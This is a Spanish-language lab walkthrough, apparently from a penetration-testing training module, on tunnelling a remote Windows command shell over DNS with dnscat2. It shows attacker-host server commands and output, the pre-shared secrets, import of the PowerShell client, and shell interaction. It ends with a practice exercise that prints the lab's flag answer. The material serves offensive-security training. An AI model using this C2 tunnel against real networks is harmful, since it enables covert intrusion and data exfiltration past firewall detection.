Dnscat2 es una herramienta de tunelización que utiliza el protocolo DNS para enviar datos entre dos hosts. Utiliza un canal cifrado Command-&-Control( C&C o C2) y envía datos dentro de registros TXT dentro del protocolo DNS. Por lo general, cada entorno de dominio de directorio activo en una red corporativa tendrá su propio servidor DNS, que resolverá los nombres de host en direcciones IP y enrutará el tráfico a servidores DNS externos que participan en el sistema DNS general. Sin embargo, con dnscat2, la resolución de la dirección se solicita desde un servidor externo. Cuando un servidor DNS local intenta resolver una dirección, los datos se filtran y envían a través de la red en lugar de una solicitud DNS legítima. Dnscat2 puede ser un enfoque extremadamente sigiloso para filtrar datos y al mismo tiempo evadir las detecciones del firewall que eliminan las conexiones HTTPS y rastrean el tráfico. Para nuestro ejemplo de prueba, podemos usar el servidor dnscat2 en nuestro host de ataque y ejecutar el cliente dnscat2 en otro host de Windows.
Configuración y uso de dnscat2
Si dnscat2 aún no está configurado en nuestro host de ataque, podemos hacerlo usando los siguientes comandos:
Luego podemos iniciar el servidor dnscat2 ejecutando el archivo dnscat2.
Iniciando el servidor dnscat2
afsh4ck@kali$ sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache
New window created: 0
dnscat2> New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.
auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted
New window created: dns1
Starting Dnscat2 DNS server on 10.10.14.18:53
[domains = inlanefreight.local]...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):
./dnscat --secret=0ec04a91cd1e963f8c03ca499d589d21 inlanefreight.local
To talk directly to the server without a domain name, run:
./dnscat --dns server=x.x.x.x,port=53 --secret=0ec04a91cd1e963f8c03ca499d589d21
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.
Después de ejecutar el servidor, nos proporcionará la clave secreta, que tendremos que proporcionar a nuestro cliente dnscat2 en el host de Windows para que pueda autenticar y cifrar los datos que se envían a nuestro servidor dnscat2 externo. Podemos usar el cliente con el proyecto dnscat2 o usar dnscat2-powershell , un cliente basado en PowerShell compatible con dnscat2 que podemos ejecutar desde destinos Windows para establecer un túnel con nuestro servidor dnscat2. Podemos clonar el proyecto que contiene el archivo del cliente en nuestro host de ataque y luego transferirlo al objetivo.
Debemos enviar el archivo dnscat2.ps1 al objetivo, y una vez importado ejecutar cmd-lets asociados.
Importar dnscat2.ps1
PS C:\htb>Import-Module .\dnscat2.ps1
Después de importar dnscat2.ps1, podemos usarlo para establecer un túnel con el servidor que se ejecuta en nuestro host de ataque. Podemos enviar una sesión de shell CMD a nuestro servidor.
Debemos utilizar el secreto precompartido ( -PreSharedSecret) generado en el servidor para garantizar que nuestra sesión esté establecida y cifrada. Si todos los pasos se completan con éxito, veremos una sesión establecida con nuestro servidor.
Confirmación del establecimiento de la sesión
New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
dnscat2>
Podemos enumerar las opciones que tenemos con dnscat2 ingresando ? en el mensaje.
Listado de opciones de dnscat2
dnscat2> ?
Here is a list of commands (use -h on any of them for additional help):
* echo
* help
* kill
* quit
* set
* start
* stop
* tunnels
* unset
* window
* windows
Podemos usar dnscat2 para interactuar con sesiones y avanzar más en un entorno objetivo en compromisos. No cubriremos todas las posibilidades con dnscat2 en este módulo, pero se recomienda encarecidamente practicar con él y tal vez incluso encontrar formas creativas de usarlo en un compromiso. Interactúemos con nuestra sesión establecida y entremos en un caparazón.
Interactuar con la sesión establecida
dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!
That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!
To go back, type ctrl-z.
Microsoft Windows [Version 10.0.18363.1801]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
exec (OFFICEMANAGER) 1>
Caso práctico
Utilizando los conceptos que se enseñan en esta sección, conéctate al destino y establece un túnel DNS que proporcione una sesión de shell. Envíe el contenido de C:\Users\htb-student\Documents\flag.txt como respuesta.
Ejecutar dnscat2
afsh4ck@kali$ sudo ruby dnscat2.rb --dns host=10.10.15.133,port=53,domain=inlanefreight.local --no-cache
New window created: 0
New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.
auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted
New window created: dns1
Starting Dnscat2 DNS server on 10.10.15.133:53
[domains = inlanefreight.local]...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):
./dnscat --secret=ff9ab8e75cd8b5247d2dffd6b5a016bf inlanefreight.local
To talk directly to the server without a domain name, run:
./dnscat --dns server=x.x.x.x,port=53 --secret=ff9ab8e75cd8b5247d2dffd6b5a016bf
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.
dnscat2>
dnscat2> New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
dnscat2>
Interactuar con la shell
dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!
That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!
To go back, type ctrl-z.
Microsoft Windows [Version 10.0.18363.1801]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Users\htb-student>
exec (OFFICEMANAGER) 1>
En este punto vamos a buscar la flag en la carpeta /Documents:
exec (OFFICEMANAGER) 1> dir Volume in drive C has no label. Volume Serial Number is C41A-F2ED Directory of C:\Users\htb-student06/05/202403:02 PM <DIR> .06/05/202403:02 PM <DIR> ..02/22/202203:28 PM <DIR>3D Objects02/22/202203:28 PM <DIR> Contacts06/05/202403:06 PM <DIR> Desktop06/05/202403:02 PM 410,495 dnscat2.ps105/03/202207:42 AM <DIR> Documents05/13/202208:06 AM <DIR> Downloads02/22/202203:28 PM <DIR> Favorites02/22/202203:28 PM <DIR> Links02/22/202203:28 PM <DIR> Music04/26/202212:05 PM <DIR> OneDrive02/22/202203:29 PM <DIR> Pictures02/22/202203:28 PM <DIR> Saved Games02/22/202203:28 PM <DIR> Searches04/26/202208:24 PM <DIR> Videos1 File(s) 410,495 bytes15 Dir(s) 12,661,350,400 bytes freeexec (OFFICEMANAGER) 1> cd DocumentsC:\Users\htb-student\Documents> dirDirectory of C:\Users\htb-student\Documents05/03/202207:42 AM <DIR> .05/03/202207:42 AM <DIR> ..05/03/202207:42 AM 15 flag.txt1 File(s) 15 bytes2 Dir(s) 12,661,170,176 bytes freeC:\Users\htb-student\Documents> type flag.txtAC@tinth3Tunnel